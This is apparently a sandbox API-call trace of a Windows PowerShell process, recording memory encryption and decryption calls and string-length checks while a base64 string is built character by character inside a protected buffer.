(param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x9f73\x7be9\x49fa\x5133\xcd9a\x2b3d\xfae7\xac51") returned 0x30 [0133.657] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x9f73\x7be9\x49fa\x5133\xcd9a\x2b3d\xfae7\xac51") returned 0x30 [0133.657] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/KzOc捃␲╋ᣈᲸ") returned 0x30 [0133.657] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x9729\x42d\x1674\x49ce\xb704\xa8d3\x1475\x988f") returned 0x30 [0133.657] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x9729\x42d\x1674\x49ce\xb704\xa8d3\x1475\x988f") returned 0x30 [0133.657] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/KzOco␲╋ᣈᲸ") returned 0x30 [0133.657] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x312a\x70cc\x6b72\x2dea\x33dc\x17a1\x723\x7770") returned 0x30 [0133.657] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x312a\x70cc\x6b72\x2dea\x33dc\x17a1\x723\x7770") returned 0x30 [0133.657] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] SysStringLen (param_1="yIh/ht/5EQudbyXg1ZkhuW5squuK4sJl7uunP/KzOco=╋ᣈᲸ") returned 0x30 [0133.657] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.657] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.658] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.658] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.658] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.658] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.658] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.658] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.658] SysStringLen (param_1="") returned 0x8 [0133.658] SysStringLen (param_1="Y") returned 0x8 [0133.658] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.658] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.658] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.658] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.658] SysStringLen (param_1="YW") returned 0x8 [0133.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.659] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="YWM") returned 0x8 [0133.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.659] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="YWM1") returned 0x8 [0133.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.659] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="YWM1O") returned 0x8 [0133.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.659] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.659] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.660] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.660] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.660] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.660] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.660] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.660] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.660] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.660] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.660] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.660] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.660] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.660] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.660] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.660] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.660] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.660] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.660] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.660] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.662] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.662] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.662] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.662] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.662] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.662] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.662] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 